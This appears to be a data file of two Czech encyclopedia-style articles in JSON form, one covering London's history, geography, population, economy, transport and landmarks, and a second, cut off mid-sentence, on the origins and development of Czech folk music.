{ "title": [ "Historie.", "Geografie a podnebí.", "Podnebí.", "Obyvatelstvo.", "Charakteristika.", "Ekonomika.", "Správa města.", "Doprava.", "Náboženství.", "Vzdělání.", "Sport.", "Turistické atrakce.", "Muzea a galerie.", "Parky a zahrady." ], "section_level": [ "1", "1", "2", "1", "1", "1", "1", "1", "1", "1", "1", "1", "2", "2" ], "content": [ "I když existují důkazy o několika britských osadách na území nynějšího Londýna, první větší obec zde roku 43 založili Římané a nazvali ji \"Londinium\". Byla ale kolem roku 61 vypálena při útoku vojska keltské královny Boudiccy. Obnovená osada pak velmi dobře prosperovala a významem předčila i Colchester. V 2. století, v době největší slávy, zde žilo asi 60 000 obyvatel. Do 7. století vybudovali Anglosasové novou osadu, nazvanou \"Lundenwic\", asi 2 km proti proudu od původního římského města, v místech současné Covent Garden. V ústí řeky Fleet zřejmě existoval rybářský a obchodní přístav. Roku 851 na město zaútočili Vikingové, dobyli ho a vypálili. Král Alfréd Veliký s nimi později uzavřel mír a město přestěhoval pod ochranu původních římských hradeb. Za vlády dalších anglosaských králů město vzkvétalo jako středisko mezinárodního obchodu a důležité politické centrum. Přesto občasné útoky Vikingů pokračovaly a dosáhly vrcholu v roce 1013, kdy dánský král Knut Londýn dobyl a anglického krále Ethelreda II. donutil k útěku. Eduard III. po nástupu na trůn nechal Westminsterské opatství a Westminsterský palác obnovit. Krátce po vítězství v bitvě u Hastings v roce 1066 byl Vilém Dobyvatel korunován na krále v právě dokončeném Westminsterském opatství. Vilém přiznal obyvatelům města zvláštní privilegia, ale na jeho jihovýchodním okraji dal postavit hrad, který mu umožnil Londýn ovládat. Roku 1097 začal Vilém II. stavět v blízkosti opatství \"Westminster Hall\", která byla ve středověku královskou rezidencí. Ve Westminsteru sídlil královský dvůr a vláda, zatímco do City, spravované vlastní institucí Corporation of London, se soustředil obchod. Obě sousední části města se postupně rozrůstaly, staly se základem moderního centra Londýna a ve 12. století převzaly od Winchesteru roli hlavního města. Ve středověku se počet obyvatel z 18 000 v roce 1100 zvýšil na 100 000 v roce 1300. V polovině 14. století však do Londýna doputovala morová epidemie (\"černá smrt\"), která přivodila smrt asi jedné třetině obyvatel. Velký mor zasáhl město i v letech 1665 až 1666. Další katastrofu roku 1666 potom způsobil velký požár. City téměř vyhořelo, ale ztráty na životech byly minimální a i díky požáru mor skončil. Obnova města pak trvala déle než 10 let. Po expanzi města v 18. století se v letech 1831–1925 Londýn stal největším městem světa. Tento růst podpořila i první železnice. Železniční síť se rozvíjela velmi rychle. V roce 1863 začalo v Londýně fungovat první metro na světě. Místní samospráva měla s rozvojem města a vybudováním infrastruktury velké problémy. V letech 1885 až 1889 nastartovala jejich řešení instituce zvaná Metropolitan Board of Works, kterou později nahradil první volený správní orgán - Rada hrabství Londýn. V průběhu první světové války přednášel v letech 1915 až 1917 (a usiloval o vznik samostatného státu) na londýnské univerzitě pozdější první československý prezident profesor Tomáš Garrigue Masaryk. Při bombardování za druhé světové války zahynulo více než 30 000 obyvatel města a bylo zničeno značné množství budov. V poválečném období se během rekonstrukce používalo hned několik architektonických stylů, čímž se charakter města změnil. V roce 1965 se jeho hranice posunuly a vznikl Velký Londýn. Poválečná imigrace výrazně ovlivnila složení obyvatel a z Londýna se stalo multikulturní město. Ekonomický rozvoj v 80. letech 20. století mu vrátil pozici velkoměsta mezinárodního významu.", "Londýn byl založen na severním břehu Temže, a protože po staletí přes ni vedl pouze jediný most (London Bridge), město se rozvíjelo převážně na sever od řeky. Poté, co byly v 18. století postaveny mosty další, začalo bez větších potíží expandovat do všech směrů, protože rovná nebo mírně zvlněná krajina okolo Temže nepředstavovala žádnou přírodní překážku. Ačkoli se ve městě nachází několik návrší, například \"Parliament Hill\" anebo \"Primrose Hill\", nejsou nijak zvlášť rozlehlá a nepředstavovala pro rozvoj města žádnou překážku. Díky těmto skutečnostem má Londýn téměř kruhový půdorys a území Velkého Londýna zahrnuje 1 577 km2. Řeka Temže bývala daleko širší a mělčí, než je dnes. Postupně ji sevřeli do vysokých břehů a mnoho jejích přítoků svedli do londýnského podzemí. Jelikož Temže coby přílivová řeka město ohrožovala a stále ohrožuje záplavami, na ochranu před nimi byly ve Woolwichi vybudovány bariéry.", "Mírné oceánské. Velmi často prší, ale je to chvilkové.V červenci a srpnu může být několik dní i velmi teplo, například 10. srpna 2006 bylo 37°C (v posledních letech jsou v Londýně teplejší léta). Zima je chladná, ale ne moc mrazivá. Noční teploty klesají nejníže na −2 °C a v nejstudenějších dnech bývá teplota jen kolem 0. Největší mrazy mohou být v prosinci a lednu a na přelomu února a března. V létě jsou teploty mírné, ale zřídka se mohou objevit horké dny, s teplotami kolem 30, přičemž ráno je velice teplé, i více než 20. Nejnižší naměřená teplota byla −16.6 °C. Mrazivých dnů v Londýně je méně než 30 za rok. Při ochlazeních od konce podzimu do začátku jara může být rozdíl mezi rozehřátým středem města a okrajem 5 °C. Vzhledem k občas velmi silnému oceánskému vlivu, zde mohou být některé dny v létě teplotně velmi blízké těm nejteplejším zimním a obráceně, i v zimě může být až 15. Bouřky jsou v létě časté. Sníh se drží na zemi 2 dny v roce a výška sněhové pokrývky je 2–3 cm. Větry vanoucí od oceánu přinášejí v létě chlad a v zimě teplo, tak jako ve všech západoevropských pobřežních oblastech. Větry jsou nejsilnější v zimě, kdy zde mohou řádit divoké vichřice, takové větrné Bouře jsou obvykle 1–2 krát v roce. Tornáda jsou vzácná. Extrémy z meteostanice EGLC - London City airport", "Při sčítání obyvatel v roce 2001 bylo etnické složení Londýna následující: 71,1 % – běloši (59,8 % bílí Britové; 3,1 % bílí Irové; 8,3 % jiní běloši); 12,1 % Jižní Asiaté (6,1 % Indové; 2,2 % Bangladéšané; 2,0 % Pákistánci); 10,9 % černoši (5,3 % – Afričané; 4,8 % Karibští černoši; 0,8 % jiní černoši); 3,2 % – míšenci; 1,1 % – Číňané; 1,6 % ostatní. Asi 21,8 % obyvatel uvádělo místo narození mimo Evropskou unii. Stav při sčítání v roce 2011: 59,8 % – běloši (44,8 % bílí Britové; 2,2 % bílí Irové; 0,1 % cikáni a Irští Travellers; 12,1 % jiní běloši); 6,6 % Indové; 2,7 % Bangladéšané; 2,7 % Pákistánci; 13,3 % černoši (7,0 % – Afričané; 4,2 % Karibští černoši; 2,1 % jiní černoši), 5,0 % – míšenci; 1,5 % – Číňané; 1,3 % Arabové; 2,1 % ostatní. Asi 37 % obyvatel uvádělo místo narození mimo Spojené království. Okolo 69 % dětí narozených roku 2015 v Londýně mělo alespoň jednoho rodiče pocházejícího z ciziny. V londýnských školách převládají černošské a asijské děti nad bílými dětmi. V Londýně žilo k rozhodnému datu při sčítání v roce 2011 asi 8 841 Čechů a 12 800 Slováků. Náboženství: 58,25 % – křesťané, 15,8 % – bez vyznání. Počet obyvatel Londýna v roce 1801 byl asi 860 000 (pro srovnání Paříž v roce 1802 měla asi 670 000 obyvatel). Londýn byl nejlidnatějším městem od roku 1825 do 1925, kdy byl překonán New Yorkem. Počet obyvatel Londýna podle sčítání obyvatel z roku 2006 činí 7 750 000 obyvatel. Počet obyvatel Londýna včetně příměstských částí (angl. \"urban area\") byl podle výsledků sčítání obyvatel v roce 2001 8 278 251. Počtem obyvatel je Londýn včetně příměstských částí třetí největší v Evropě po Moskvě (11,7 milionů obyvatel v roce 2000) a Paříži (9,6 milionů obyvatel v roce 1999). Na rozdíl od jiných států, neposkytuje Velká Británie národně koordinované počty obyvatel oblasti hlavního města (angl. \"London’s metropolitan area\") s ohledem na sledování osob dojíždějících do Londýna do zaměstnání a ekonomický vliv. Podle některých zdrojů zahrnuje oblast Londýna plochu 16 043 km2 s počtem obyvatel 13 945 000 – což je více než počet obyvatel Skotska, Walesu a Severního Irska dohromady. Podle této definice je oblast Londýna spolu s oblastí Moskvy (asi 14 milionů obyvatel) největší metropolitní oblastí Evropy a je větší než oblast Paříže (11,5 milionů v roce 2004). Definici oblasti v tomto pramenu, je třeba brát s maximální opatrností, neboť obsahuje místa dosti vzdálená od Londýna, např. Dover ležící u Lamanšského průlivu nebo Colchester město na severu Essexu. Po odečtení východního Kentu, severního Essexu a West Berkshire je tento počet mezi 12 až 12,5 miliony. V roce 2004 vláda Velkého Londýna oficiálně vyhlásila Londýnský region (angl. \"metropolitan region\") s centrem v Londýně s rozlohou 27 224 km2 a počtem obyvatel přibližně 18 000 000. Toto území zahrnuje Velký Londýn, celou jihovýchodní Anglii a jednu třetinu východní Anglie. Metropolitní region je odlišný pojem od metropolitní oblasti. Zahrnuje území s obrovským množstvím spojení a sítí mezi obydlenými oblastmi. Je třeba poznamenat, že metropolitní region, jak je zde definován, má málo společného s tím, co je pojmem \"Londýn\" označováno v britském prostředí.", "Centrum společenského dění Londýna je Westminster, kde sídlí většina obchodů a zábavních center. Zde sídlí také vedení největších britských průmyslových podniků (vyjma finančního sektoru) a vláda Spojeného království. Londýnská City je hlavním finančním centrem Velké Británie a jedním z nejdůležitějších ve světě. Je řízená Corporation of London, institucí která má středověké kořeny a v jejímž čele je Lord Mayor of London (v českém prostředí starosta). Původní dominantu katedrálu svatého Pavla doplnily vysoké budovy kanceláří včetně nejvyšších Tower 42 (známa spíše jako NatWest Tower) a 30 St Mary Axe (nazývána \"Gherkin\", postavená v roce 2003). City má pouze malé množství stálých obyvatel (asi 7 000), ale během dne zde pracuje až 300 000 lidí. V poslední době se finanční centrum stále více přesouvá z City do Canary Wharf na východě Londýna. West End je považován za nejpopulárnější nákupní a zábavní obvod Londýna. Nalézá se zde i Trafalgarské náměstí, jedna z nejnavštěvovanějších památek Londýna. Oxford Street je jednou z nejznámějších ulicí světa pro nakupování módního značkového oblečení. Na jihu od východní části Oxford Street se rozkládá Soho, síť malých uliček plných restaurací, hospůdek, menších obchodů a butiků, divadel a kin, stejně jako mediálních, filmových, inzertních a postprodukčních firem. Soho je rovněž známé svými rušnými kluby, bary a gay komunitou. Piccadilly je známou dopravní tepnou vedoucí z Piccadilly Circus na východě k Hyde Park Corner na západě. V jejím okolí nalezneme Mayfair a Green Park. Dalšími dopravními tepnami této části města jsou Regent Street a Bond Street. Východní Londýn byl centrem metropolitní průmyslové oblasti a většina tohoto území je v současnosti výrazně přestavována jako část \"Thames Gateway\". Hrála rovněž klíčovou úlohu v úspěšné kandidatuře na pořádání olympijský her v roce 2012, a nyní probíhá výrazná obnova tohoto území pro zabezpečení úspěšného konání olympiády. Je to již podruhé v moderní historii, kdy je tato oblast výrazně přestavována, poprvé to bylo po náletech německého letectva v době druhé světové války. East End je nejblíže původnímu londýnskému přístavu a je oblastí kde se nejčastěji zpočátku usidlovali přistěhovalci přijíždějící do přístavu. Byly to postupně přistěhovalecké vlny Francouzů, Hugenotů, Belgičanů, Židů a Pákistánců. East End se rozrůstá z východní části City a zahrnuje tyto městské části – \"Whitechapel\", \"Mile End\", \"Bethnal Green\", \"Hackney\", \"Bow\" a \"Poplar\". V této části města se nacházejí mnoha zajímavá místa včetně londýnských tržišť (Columbia Road Flower Market, Spitalfields Market, Brick Lane Market, Petticoat Lane Market) a několik muzeí, například Geffrye Museum a Museum of Childhood v Bethnal Green. Docklands, městská část na Ostrově psů (\"Isle of Dogs\"), prochází od roku 1980 bouřlivým rozvojem. V prvních letech od roku 1980 bylo mnoho skladů ve Wapping obsazováno a používáno jako umělecké dílny a levné ubytovny. London Docklands Development Corporation (LDDC) byla založena v roce 1981, aby nastartovala proces využití a změny tváře této oblasti. Nejznámějším výsledkem je oblast Canary Wharf, jejíž dominantou je budova kancelářského komplexu 1 Canada Square nejvyšší britský mrakodrap od roku 1991. Spojení této oblasti s metrem a s ostatními částmi města zajišťuje Docklands Light Railway (DLR). Západní Londýn zahrnuje elegantní a nákladnou rezidenční oblast Notting Hill. Kensington a Chelsea jsou oblasti s nejluxusnějším bydlením ve Velké Británii. Západním směrem u \"White City\", poblíž Shepherd's Bush, se nachází hlavní centrum BBC, a ještě dále na západ v předměstí Hillingdon, leží letiště Heathrow. Tento kout Londýna je domovem Richmond Parku. V této části má také stadion Chelsea FC a to na Stamford Bridge. V jižním Londýně nalezneme Wimbledon (známý pořádáním velkého tenisového turnaje). Greenwich ležící na březích Temže, v místech, kde tato řeka meandruje je známá parkem a je rovněž sídlem Královské greenwichské observatoře. Brixton, Camberwell a Peckham je domovem pro mnoho rodin imigrantů z Karibiku, kteří se do Velké Británie přistěhovali v letech padesátých, šedesátých a sedmdesátých. Severní Londýn zahrnuje například předměstí Hampstead a Highgate, které si podržely venkovský ráz. Jsou zde velké parky včetně Hampstead Heath s Parliament Hill. Mnoho oblastí má výrazné zastoupení menšin, napřiklad Stamford Hill, jež je obydlen výraznou komunitou ortodoxních židů, a Green Lanes ve čtvrti Harringey s výrazným zastoupením turecké a řecké menšiny. Islington je jedna z nejbohatších oblastí severního Londýna a je sídlem fotbalových klubů Arsenal nebo Tottenham Hotspur FC, jehož stadion je v blízkém Tottenhamu.", "Ekonomický význam Londýna je způsoben mimo jiné jeho včasnou poválečnou orientací na odvětví poskytování služeb. Londýn je hlavní centrálou mezinárodního obchodu a patří spolu s New Yorkem a Tokiem mezi tři nejdůležitější ekonomická centra. Je po New Yorku druhým největším světovým finančním střediskem a po Tokiu, New Yorku, Los Angeles, Chicagu a Paříži šestou největší městskou ekonomikou. Londýn produkuje asi 20 % HDP a Londýnská metropolitní oblast je zdrojem asi 30 % HDP Velké Británie. Více než 85 % (3,2 milionů) lidí zaměstnaných v Londýně pracuje v odvětví poskytování služeb. Dalších asi 1,5 milionu pracuje v průmyslových podnicích. I když v posledních letech došlo k poklesu počtu průmyslových společností, stále jich zde existuje asi 15 000 a jsou zaměřeny na výrobu oděvů, tiskařství, výrobu nábytku a produkci potravin. Nejdůležitějším odvětvím je stále finanční sektor. V poskytování finančních služeb pracuje více než 300 000 lidí. Sídlí zde více než 480 mezinárodních bank. V City je proinvestováno více finančních prostředků než v ostatních deseti největších evropských městech dohromady a v Londýně je realizováno více mezinárodních telefonních hovorů než kdekoli jinde na světě. City je největší finančním a obchodním centrem v Evropě a pomalu dostihuje i New York. V Londýně sídlí banky, brokerské společnosti, pojišťovny, právní a účetní společnosti. Další kancelářské středisko vzniklo na východ od City v Canary Wharf, kde sídlí světové centrály společností HSBC, Reuters, Barclays a Clifford Chance, největší právní společnost světa. Dalším důležitým odvětvím je turistika, zaměstnávající v roce 2003 asi 350 000 lidí a roční příjem z turistiky je asi 15 miliard liber. Každý rok město navštíví 27 milionů turistů, kteří zde stráví alespoň jednu noc. Londýnský přístav v Tilbury se z pozice největšího světového přístavu dostal až na třetí místo ve Velké Británii a prochází jím 50 milionů tun zboží.", "Velký Londýn je rozdělen do 33 městských obvodů a londýnské City. Jednotlivé samosprávy městských obvodů jsou nejdůležitější jednotkou místní správy Londýna a jsou zodpovědné za zajištění většiny lokálních služeb v oblasti, kterou spravují. City není spravována běžnou místní radou, ale historickou Corporation of London. Greater London Authority (GLA), nejvyšší správní orgán Velkého Londýna, má vliv na dění celé oblasti Velkého Londýna a je zodpovědná za koordinaci činností samospráv městských čtvrtí, strategické plánování a chod služeb, jež mají dosah v celém Londýně, jako například policie, požární ochrana a doprava. GLA se skládá ze zastupitelstva, jímž je Londýnské shromáždění \"(London Assembly)\", které řídí starosta Londýna (\"Mayor of London\"). Současný starosta Sadiq Khan byl zvolen roku 2016. Dnešní GLA byla ustanovena jako náhrada za Radu Velkého Londýna (\"Greater London Council\", GLC), který vznikl roku 1965 a byl zrušen roku 1986 po politických šarvátkách mezi GLC (tehdy vedeným Kenem Livingstonem) a vládou konzervativní strany vedenou Margaret Thatcherovou. Po zrušení GLC v roce 1986, přešla většina jeho pravomocí na samosprávy městských obvodů a zbytek byl zajišťován jejich spolupráci nebo jinými nevolenými orgány. Samosprávy městských obvodů tak získaly značnou autonomii a jednotný statut, a ačkoli po obnovení GLC ztratily určitou část vlivu, stále existují oblasti, v nichž jsou nezávislé na GLC. Předchozí londýnské administrativní úřady: Londýn je v parlamentu reprezentován 74 poslanci. Policejní službu pro 32 londýnských čtvrtí zajišťuje \"Metropolitan Police Service\", všeobecně označována spíše jako Metropolitan Police, nebo jednoduše \"Met\". City má svou vlastní policejní správu \"City of London Police\". Zdravotní služba v Londýně je řízena vládou prostřednictvím Národní zdravotní služby (NHS). Velký Londýn je rozdělen mezi 5 \"Strategic Health Authorities\".", "Pokud jde o dopravu, Londýn patří k nejrušnějším městům světa. Dopravu spravuje úřad starosty, má však jen omezený finanční vliv. Výkonným orgánem řízení londýnského dopravního systému je Transport for London (TfL). Ačkoli se síť městské hromadné dopravy řadí k nejrozsáhlejším na světě, potýká se s přehuštěním a výpadky. Tento jeden z nejkomplexnějších dopravních systémů byl v roce 2006 při hlasování označen za nejlepší systém městské hromadné dopravy na světě. Hlavním dopravním systémem Londýna je metro s dvanácti linkami. Toto nejstarší metro světa zahájilo provoz již v roce 1863. Roku 1890 zde vznikla i první elektrifikovaná linka. Denně je využito pro přibližně 3 miliony cest a ročně pro 1 miliardu. Trasy metra pokrývají centrum a severní část města. Roku 1987 bylo metro doplněno o systém lehké kolejové dopravy (DLR), který používá menší a lehčí soupravy bez řidiče; jeho síť pokrývá oblast východního Londýna a Greenwiche. Místní a mezinárodní železniční spoje (až na výjimky) neprojíždějí centrem, ale zastavují na železničních stanicích rozptýlených po okraji města. Vzrůstající požadavky na dopravu vedly roku 2007 ke schválení plánu na vybudování podzemní východo-západní železniční trati pod středem města; \"Crossrail\" se momentálně buduje a zprovoznění se předpokládá v roce 2018. Rychlovlaky Eurostar spojují nádraží \"St Pancras International\" s Paříží a Bruselem. Cesta do Paříže trvá asi 2 hodiny a 15 minut a do Bruselu zhruba 1 hodinu a 51 minut. Síť londýnské autobusové dopravy je jednou z nejrozsáhlejších na světě. Denně vyjíždí na 700 linek asi 8 000 autobusů, které za týden přepraví více než 6 milionů cestujících. Každý rok se do obnovy dopravní sítě investuje 850 milionů liber. Londýn má nejrozsáhlejší dopravní síť použitelnou vozíčkáři na světě a od druhé poloviny roku 2003 je lépe přístupná i pro osoby s postižením sluchovým nebo zrakovým. Londýn je zároveň velmi často využívanou mezinárodní křižovatkou. Letiště Heathrow je nejrušnějším letištěm světa pro mezinárodní dopravu. V březnu roku 2008 byl dokončen již pátý terminál, který má ročně odbavit až 30 milionů cestujících. Dalšími důležitými letišti v dosahu města jsou Stansted, Gatwick, Luton, City, Southend a Biggin Hill, využívaná především obchodními cestujícími a také nízkonákladovými leteckými společnostmi.", "Když papež Řehoř I. Veliký vyslal v roce 597 svatého Augustina z Canterbury, aby uvedl do Anglie křesťanství, předpokládal, že se jeho vyslanec stane \"arcibiskupem londýnským\", protože toto město bylo dříve hlavním městem římské kolonie Británie. Vzhledem k tomu, že Augustin byl pohostinně přijat v Kentském království králem Ethelbertem, bylo však v roce 601 ustanoveno arcibiskupství v Canterbury. Přesto byl Londýn vždy důležitým náboženským centrem a canterburští arcibiskupové zde trávili mnoho času. Jejich oficiální londýnskou rezidencí je Lambethský palác. Anglikánská církev má v Londýně dva biskupy – \"biskup londýnský\", který spravuje část Londýna na sever od Temže, pod něhož patří největší londýnský barokní chrám katedrála svatého Pavla, a \"biskup southwarský\", který spravuje anglikánskou církev na jih od Temže. Důležité národní a královské ceremonie jsou rozděleny mezi katedrálu svatého Pavla a Westminsterské opatství, gotický kostel připomínající katedrálu. Římskokatolický \"arcibiskup westminsterský\" je uznáván jako hlava katolické církve v Anglii a Walesu (pod něj patří katolická \"Westminsterská katedrála\", kterou je třeba odlišovat od anglikánského \"Westminsterského opatství\"). Další tradiční protestantské církve, které mají svou rezidenci v Londýně, jsou například sjednocená reformovaná církev (\"United Reformed Church\") a kvakeři (\"Quakers\"). Mnoho imigrantů ustavilo své vlastní církve – například je zde zastoupena pravoslavná církev a existují zde také další protestantské sbory. Londýn je nejdůležitějším centrem islámu ve Velké Británii. Ve dvou londýnských předměstích jsou enklávy s největším počtem muslimů ve Velké Británii – Tower Hamlets a Newham. Londýnská ústřední mešita (\"London Central Mosque\") je velmi dobře známá londýnská silueta, postavená na okraji Regent's Parku, další mešity jsou i v jiných částech města. Londýnu se pro jeho islámskou menšinu také přezdívá Londonistán. Hinduistický chrám v Neasden (Neasdenský chrám) je největším hinduistickým chrámem mimo Indii a zároveň pozoruhodným příkladem moderní budovy postavené v tradičním stylu. Většina dokonale propracovaných a spletitých mramorových plastik použitých v chrámu byla vytesáno v Indii. Více než dvě třetiny britských židů žije v Londýně, což řadí Londýn na 9. místo na světě v počtu židů žijících mimo Izrael.", "Londýn je sídlem mnoha univerzit a středních škol, které navštěvuje asi 378 000 studentů. Nachází se zde také mnohé a vědecké a výzkumné ústavy. Největší vysokou školou podle počtu studentů (125 000) ve Velké Británii a v Evropě je Londýnská univerzita. Skládá se z 20 fakult a několika dalších menších ústavů s větší mírou autonomie. Některé fakulty poskytují všeobecně zaměřené studium a jiné jsou specializované ústavy například London School of Economics, \"SOAS\", \"Royal Academy of Music\" a \"Institute of Education\". Královská univerzita a University College London byly podle výzkumu \"The Times Higher Education Supplement\" zařazeny mezi desítku nejlepších univerzit na světě (ICL na 5. místě a UCL na 9. místě). Dalšími univerzitami ve městě jsou Brunel University, City University, London Metropolitan University, Královská univerzita, Middlesex University, University of East London, University of Westminster a London South Bank University. Londýn je také známý svými ekonomickými školami – London Business School (nejlepší ekonomická škola podle \" Business Week\") a \"Cass Business School\" (největší ekonomická škola Evropy). V Londýně se nachází mnoho muzeí, galerií a jiných institucí, které jsou jednak turistickými atrakcemi ale některé z nich (Přírodopisné muzeum – biologie, geologie; Science Museum a Victoria and Albert Museum – móda a design) plní i funkci centra výzkumu v dané oblasti. Britská národní knihovna u \"St Pancras\" je národní knihovnou Velké Británie a obsahuje asi 150 milionů exemplářů.", "Londýn je místem konání jednoho z největších maratónů s masovou účastí, Londýnského maratónu, konaly se zde Letní olympijské hry v roce 1908, 1948 a 2012. Londýn se tak stal prvním městem, kde se letní olympijské hry konaly třikrát. Nejnavštěvovanějším sportem v Londýně je fotbal a v Londýně sídlí několik předních fotbalových klubů. Nejvýznamnějšími kluby jsou Arsenal (založený ve Woolwich Arsenal, ale v roce 1913 se přestěhoval do Highbury a nyní sídlí Emirates Stadium), Chelsea (hraje ve Fulhamu na Stamford Bridge) a Tottenham Hotspur (hraje na novém Tottenham Hotspur Stadium na místě předchozího White Hart Lane). Menšími kluby, avšak také hrávajícími 1. ligu, jsou West Ham United, Fulham, Watford, Queens Park Rangers, Crystal Palace, Charlton Athletic a zaniklý Wimbledon. Londýn byl jedním z míst konání Mistrovství světa ve fotbale v roce 1966 a Mistrovství Evropy ve fotbale v roce 1996 a finálových utkání obou turnajů. Londýn ve starém Wembley pětkrát hostil finále PMEZ (1963, 1968, 1971, 1978, 1992) a na již zrekonstruovaném stadionu dvakrát finále Ligy mistrů (2011, 2013). New Wembley Stadium – národní fotbalový stadión, který byl svědkem mnoha významných mezistátních a klubových fotbalových a ragby utkání, prošel do roku 2008 rekonstrukcí. Velmi populárním sportem v Londýně je také ragby, jehož příznivci pocházejí především ze střední třídy společnosti ze severu a západu města. Anglický národní ragbyový stadión se nachází v Tvickenhamu. Tři z dvanácti klubů elitní ligy – Guinness Premiership pocházejí z Londýna. Kluby London Irish, Saracens a Wasps hrají na hřišti mimo Velkého Londýna, ale v metropolitní oblasti. Harlequins, kteří sestoupili po sezoně 2004/05 do nižší soutěže National Division One, hrají v oblasti Velkého Londýna. V Londýně existují dvě kriketová hřiště – \"Lord’s\" – domov \"Middlesex a Marylebone Cricket Club\" na předměstí St John's Wood kousek na sever od Regent's Parku a \"Oval\" – sídlo \"Surrey\" v jižním Londýně. All England Lawn Tennis and Croquet Club je místem konání světově proslulého tenisového turnaje ve Wimbledonu na jihovýchodě Londýna.", "Londýn patří k nejvíce navštěvovaným městům na světě. Turistické atrakce se nalézají převážně v centrálním Londýně. Patří mezi ně historická City; West End a jeho proslulá kina, bary, kluby, obchody a restaurace; Westminster s Westminsterským opatstvím, Buckinghamským palácem, Clarence House atd. Dále je to Science Museum, Přírodopisné muzeum, Britské muzeum, Národní galerie, Tate Gallery, mosty London Bridge, Tower Bridge, Královská observatoř v Greenwichi, kudy prochází od roku 1884 nultý poledník, a další zajímavosti.", "Viz", "11 % rozlohy Velkého Londýna zabírají parky. Devět královských parků, dříve honebních revírů, je nyní přístupno veřejnosti. Green Park, St. James's Park, Hyde Park a Kensingtonské zahrady formují pásmo zeleně ve West Endu. Regent's Park tvoří severní hranici centra Londýna, zatímco Greenwich Park-národní park, Bushy Park a Richmond Park jsou oázou klidu v londýnských předměstích. Mnoho menších parků bylo založeno u bohatých soukromých rezidencí pro soukromé používání, ale část je nyní přístupná pro veřejnost. Většina parků spravovaných londýnskou samosprávou byla vytvořena mezi polovinou 19. století a druhou světovou válkou. Příkladem jsou Victoria Park, Alexandra Park a Battersea Park. Některé parky na předměstích například Hampstead Heath, Wimbledon Common a Epping Forest mají neformální přírodní charakter. Nejvýznamnější zahrada ve které se platí vstupné je Královské botanické zahrady v Kew." ] }

{ "title": [ "Český folk.", "Trampská tradice.", "Tradice „české lidovky“.", "České písničkářství.", "Vývoj žánru ve 20. století.", "Charakteristika folku." ], "section_level": [ "1", "2", "2", "2", "2", "1" ], "content": [ "", "Žánr české folkové hudby na rozdíl od té anglosaské nevznikl až koncem šedesátých let 20. století, neboť lidová tvorba umělých písní měla v této době již mnohaletou tradici v klasické či moderní trampské hudbě. Ta je bezesporu velmi zvláštní, osobitou i zcela svébytnou odrůdou českého folku a to v širším kontextu celé české populární a lidové hudby (viz skupiny Brontosauři, Settleři, Hop Trop nebo Wabi Daněk či Jarka Mottl). Tradiční trampská hudba tedy v českých zemích existovala již více jak 30 let před nástupem anglosaského folku. I ona však měla své inspirační kořeny v předchozí tradici kramářských písní, obrozeneckého zpívání 19. století, kabaretních kupletů jakož i v tradici dělnických zpěváckých spolků. Tradice původní trampské písničky v nejrůznějších podobách přežila celé 20. století a to prakticky až dodnes.", "Jak již bylo uvedeno, je velmi obtížné přijímat jakékoliv klišovitě schematické tvrzení, že folk vznikl někdy na přelomu 50. a 60. let 20. století kdesi v Americe. Takové tvrzení by nám vlastně říkalo, že před tímto obdobím neexistovala na celém světě žádná amatérská hudební tvorba vytvářená především pro radost a potěchu autora samého, či jemu blízkých osob. I tzv. tradiční česká trampská hudba nutně musela vyjít z toho, co zde existovalo již na počátku 20. století, totiž z mohutných tradic české lidovky (a to jak z písní lidových či písní jakkoliv zlidovělých). Tvrzení, že folk zničehonic jakoby spadl z nebe, kde se vzal tu se vzal, je samozřejmě zjevný nesmysl a lež. Folk samozřejmě existoval již dlouhou dobu před tím, jen se mu neříkalo folk. Tradice českého amatérského muzicírování patrně byla a je v českých zemích velmi dlouhá, pestrá, široká i bohatá. Venkovské kutálky, lidové cimbálové muziky, hornické dechovky, studentská obrozenecká tvorba, západočeská a jihočeská dudácká tradice, to vše dohromady tvoří podhoubí českého folku, hudební materii z níž český folk vzešel. A je jistě velmi zajímavé, že se tak stalo prakticky téměř nezávisle na tradici anglosaské.", "Vývoj folku ovšemže neprobíhá izolovaně od všech ostatních hudebních žánrů, stylů a proudů, ba naopak, mnohdy je jimi velmi výrazně ovlivňován. Samotná česká písničkářská tradice je také mimořádně pestrá i bohatá. Vždyť prvním opravdovým (velkým a zároveň též moderním) českým písničkářem byl pan Karel Hašler, mnoho jeho písní si lidé rádi zpívají podnes. Velkými písničkáři se po první světové válce stali i pánové Voskovec a Werich na hudbu Jaroslava Ježka. Na ně zas s velkým úspěchem prakticky o 30 let později navázala vynikající autorská dvojice Suchý-Šlitr. Ale nejednalo se jen o tyto tvůrce. Vždyť vynikající hudební dědictví nám zanechali i mnozí jiní další – několik příkladů za všechny : pan Josef Kainar nebo Emil František Burian (otec Jana Buriana). České písničkářství v tom nejlepším slova smyslu se, mimo jiné, také projevuje ve vynikající textařské práci celé plejády výborných českých textařů. Takže samotné české folkové písničkářství mělo a doposud stále i má také své bohaté hudební inspirační zdroje, které leží mimo oblast folkového žánru. Nemluvě o české literatuře a české lidové slovesnosti jako takové, to je jistě další bohatý inspirační zdroj sám o sobě.", "Celý žánr se v Čechách přirozeně vyvíjel v průběhu 20. století v dané společenskopolitické situaci, která byla zejména po roce 1948 poměrně zapeklitá, neboť tehdejší Československo bylo naráz zcela izolováno od západoevropské svobodné kultury a tehdejší kulturní vlivy pocházející ze svobodného světa k nám pronikaly velice nesnadno, pomalu a dost často – slušně řečeno – za velkého nepochopení veřejnosti i oficiálních stranických míst (což se týkalo také bigbeatu). Přesto zejména v krátkém období bouřlivých 60. let (kdy došlo v Československu na přechodnou dobu ke krátkému politickému uvolnění) došlo k rozmachu folku v jeho klasické anglosaské podobě i v českých zemích. Příkladem za všechny ostatní budiž třeba skupina Spirituál kvintet nebo skupina Český skiffle pana Jiřího Traxlera jr. Objevila se i první výrazná skupina českých písničkářů sdružených ve sdružení Šafrán, snad nejznámějším písničkářem té doby byl pan Karel Kryl. Kromě toho se začal rozvíjet i příbuzný hudební žánr zvaný country and western, a to včetně jeho bluegrassové odnože. Vzniklo tak ono tehdejší (multi)žánrové zmatení z konce 60. let, kdy všechny příbuzné hudební žánry v několika málo letech začaly fakticky koexistovat vedle sebe (také bývaly označovány dost nehezky jako tzv. \"portovní žánry\" – viz festival Porta).", "Folkovou píseň anglosaského typu tedy charakterizujeme jako typ moderní zpěvné písně, která spontánně vznikala převážně v amatérských podmínkách jako protiklad konvenčního a zkomercionalizovaného popu. Folk klade mimořádný důraz na myšlenky či emoce obsažené v textu písně. Podstatou folkové písně a jedním z jejích nejcharakterističtějších rysů je schopnost aktuálně, adresně a obsahově konkrétně reagovat na nejrůznější stránky společenského dění či osobních prožitků autora. Obvykle bývají folkové písně interpretovány přímo autory. Někdy je tato 